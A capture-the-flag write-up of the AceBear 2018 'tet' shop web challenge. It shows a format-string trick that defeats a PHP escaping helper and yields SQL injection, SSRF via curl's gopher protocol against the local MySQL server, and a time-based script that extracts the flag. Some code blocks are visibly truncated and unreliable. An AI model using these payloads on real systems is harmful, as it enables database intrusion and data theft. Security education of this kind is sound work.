Rating: 5.0

This challenge is a Web challenge from the AceBear Security Contest 2018.
It is the hardest Web challenge, and has been solved by the following teams:
- nụ cười mới
- 玲奈ちゃんめっちゃ可愛い~♡
- OpenToAll
- Wild~HackXore
- bi0s
- rtep
- FluxFingers
- dcua
- ASIS
- XeR & his amazing friends

The challenge is a website. Its source code is available, albeit a little bit
outdated. (we will see this later). The website is an e-commerce website,
specially designed for "tet".
To my understanding, tet refers to the [Vietnamese New Year][]. You can register
an account and buy two presents for free.

The solution to this challenge consists of two different parts: the SQL
injection, and the flag exfiltration.

## 1. SQL injection

The website is protected against SQL injection with a hand-made method to use
prepared statments.

```php
function addParameter($qr, $args){
if(is_null($qr)){
return;
}
if(strpos($qr, '%') === false ) {
return;
}
$args = func_get_args();
array_shift($args);
if(is_array($args[0]) && count($args)==1){
$args = $args[0];
}
foreach($args as $arg){
if(!is_scalar($arg) && !is_null($arg)){

return;
}
}
$qr = str_replace( "'%s'", '%s', $qr);
$qr = str_replace( '"%s"', '%s', $qr);
$qr = preg_replace( '|(?_re($st);
}
function _re($st) {
if ($this->conn) {
return mysqli_real_escape_string($this->conn, $st);
}

return addslashes($st);
}
```

`addParameter($qr, $args)` takes two arguments: a string (the request), and an
array of arguments. This method uses some `func_` magic to allow an arbitrary
amount of arguments.
`addParameter("SELECT * FROM foo WHERE foo = %s AND bar = %s", "foo", "bar")` is
equivalent to
`addParameter("SELECT * FROM foo WHERE foo = %s AND bar = %s", ["foo", "bar"])`.

Every arguments is filtered with `mysqli_real_escape_string` or `addslashes`.
There can be two kind of arguments: strings (`%s`) or floats (`%F`).

This filtering method cannot be bypassed per se. However, in the item.php file,
we can see the following lines:

```php
$prepare_qr = $jdb->addParameter("SELECT goods.name, goods.description, goods.img from goods inner join info on goods.uid=info.gid where gid=%s", $_GET['uid']);
$prepare_qr = $jdb->addParameter($prepare_qr.' and user=%s', $username);
```

Which prepares an already-prepared request... what happens if the user supplies
an argument with `[%s]`?

1. `SELECT [...] where gid=%s`
2. `SELECT [...] where gid='[%s]'`
3. `SELECT [...] where gid='[%s]' and user=%s`
4. `PHP Warning: Wrong parameter count for vfprintf()`

Obviously, the developper did not intend a user to put "%s" in his input. So,
the request bugs. I made the following script to see if I could transform this
bug to a vulnerability:

```php
addParameter("SELECT goods.name, goods.description, goods.img from goods inner join info on goods.uid=info.gid where gid=%s", $uid);
var_dump($prepare_qr);

$prepare_qr = $jdb->addParameter($prepare_qr.' and user=%s', $username);
var_dump($prepare_qr);

printf("\e[35mUsername\e[0m: %s\n", $username);
```

After a few tries, we can notice that:
- `%1$s` prints the 1st argument without incrementing the argument index;
- `%1$s` is not `%s`, so it will not be quoted;
- `%.3s` prints the 3 first characters of our argument.

Therefore, `%1$.1s` prints the first character of my **escaped** username.
If my username starts with an apostrophe, my escaped username will start with a
backslash. (`'` → `\'`). `%1$.1s` is equivalent to a backslash that will not be
escaped.

With that in mind, it becomes easy to realize that we can escape the apostrophes
with `%1$.1s'` which, after a call to `addParameter` will become `\\'`.

I registered the account `'2`, with the password `x`. I managed to exploit an
UNION-based SQL injection with the following payload:
`info.php?uid=%1$.1s' UNION SELECT 1, 2, 3 -- -`

## 2. Flag exfiltration

Great, now that we have an SQL injection, it's only a matter of `SELECT flag
FROM flag.flag`, right?

Not so fast, our current user cannot read the flag database. According to
backup.sh, only the `fl4g_m4n4g3r` can.

Thanks to our SQL injection, we control what the `$result` array contains in
the following code:

```php
echo '<title>Verified: '.$result[0]['name'].'</title>';
echo 'Product Name: '.$result[0]['name'].'
';
echo 'Product Description: '.$result[0]['description'].'
';
echo 'This product has been verified by Pepe and safe for using!
';
echo '
';
```

**Note**: the last line is actually a call to `watermark_me($result[0]['img'])`.

And the `watermark_me` function is defined as follows:

```php
function get_data($url) {
$ch = curl_init();
$timeout = 2;
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}

function watermark_me($img){
if(preg_match('/^file/', $img)){
die("Ahihi");
}
$file_content = get_data($img);

$fname = 'tmp-img-'.rand(0,9).'.tmp';
file_put_contents('/tmp/'.$fname, $file_content);
while(1){
if(file_exists('/tmp/'.$fname))
break;
}

$stamp = imagecreatefromjpeg('ok.jpg');
$imgPng = imagecreatefromjpeg('/tmp/'.$fname);

$marge_right = 10;
$marge_bottom = 10;
$sx = imagesx($stamp);
$sy = imagesy($stamp);

imagecopy($imgPng, $stamp, imagesx($imgPng) - $sx - $marge_right, imagesy($imgPng) - $sy - $marge_bottom, 0, 0, imagesx($stamp), imagesy($stamp));

if($imgPng){
@unlink('/tmp/'.$fname);
//header("Content-type: image/png");
ob_start();
imagePng($imgPng);
$imagedata = base64_encode(ob_get_contents());

ob_end_clean();
@imagedestroy($imgPng);
return $imagedata;
}else{
@unlink('/tmp/'.$fname);
die("Ahihi");
}
}

```

Basically, it downloads an image, and adds a watermark (`ok.jpg`).

I wrote the following script to tweak with this function:

```sh
#!/bin/sh
readonly SESSID=sojte4l7058tf75ii9j9v71rr4
request() {
exec curl -D- -g -G \
'http://128.199.179.156/info.php' \
--header "Cookie: PHPSESSID=$SESSID" \
--data-urlencode "$1"
}

URL="$1"
HEX="$(echo -ne "$URL" | xxd -ps | tr -d '\n')"
echo "$HEX"

request 'uid=%1$.1s'\'' UNION SELECT 1, 2, 0x'"$HEX"'-- -'
```

After looking for vulns in php's source code, in particular `ext/gd` and
`ext/curl`, I came accross the following statement:
> libcurl currently supports the http, https, ftp, gopher, telnet, dict, file,
> and ldap protocols. libcurl also supports HTTPS certificates, HTTP POST, HTTP
> PUT, FTP uploading (this can also be done with PHP's ftp extension), HTTP form
> based upload, proxies, cookies, and user+password authentication.

Unfortunately, we cannot upload files. However, we may use the gopher protocol
to send arbitrary packets to a TCP server.

[Gopher][] is an ancient protocol designed for CTF^W^W as an ancestor to HTTP.
It's dead simple, as **everything you put in the URL will be sent verbatim to
the server**. No header, no body, no nothing.

The only thing to take into account are that:
- The first character is not sent, so you need to add a padding chacter;
- Some characters don't play nice with cURL (\0, #, ?), so they need to be
URL-encoded.

Thanks to this protocol, it might be possible to send arbitrary requests to the
local MySQL server, with the `fl4g_m4n4g3r` account.

I used the following commands to dump a basic MySQL session, and analyze it in
order to reproduce it:
`# tcpdump -i lo -w out.pcap 'tcp src or dst port 3306`
and
`mysql -u root -h 127.0.0.1 --protocol tcp`

We will not go in the details on how the MySQL protocol works as it is out of
the scope of this writeup. However, if you would like to know, do not waste your
time on the [Official MySQL documentation][]. It's mostly empty. Wireshark does
a much better job.

The only way to know if our request has been executed is to make a time-based
request and see if it takes enough time.

I used the following script to send arbitrary SQL commands:

```php
> %d) & 1", $request, 7 - $i);
$request = sprintf("SLEEP(%s)", $request);
$request = sprintf("SELECT %s FROM flag.flag", $request);

$t = getTime($request);
$byte = ($byte << 1) | ($t > 1);
printf("(%d,%d) %02X\n", $c, $i, $byte);
}
$flag .= chr($byte);
printf("\e[31m%s\e[0m\n", $flag);
}
```

**Flag**: https://tinyurl.com/y9pplum3
`AceBear{Just_WP_SQLi_and_some_SSRF_tricks}`

[Vietnamese New Year]: https://en.wikipedia.org/wiki/T%E1%BA%BFt
[Gopher]: https://en.wikipedia.org/wiki/Gopher_(protocol)
[Official MySQL documentation]: https://dev.mysql.com/doc/dev/mysql-server/8.0.0/PAGE_PROTOCOL.html#protocol_overview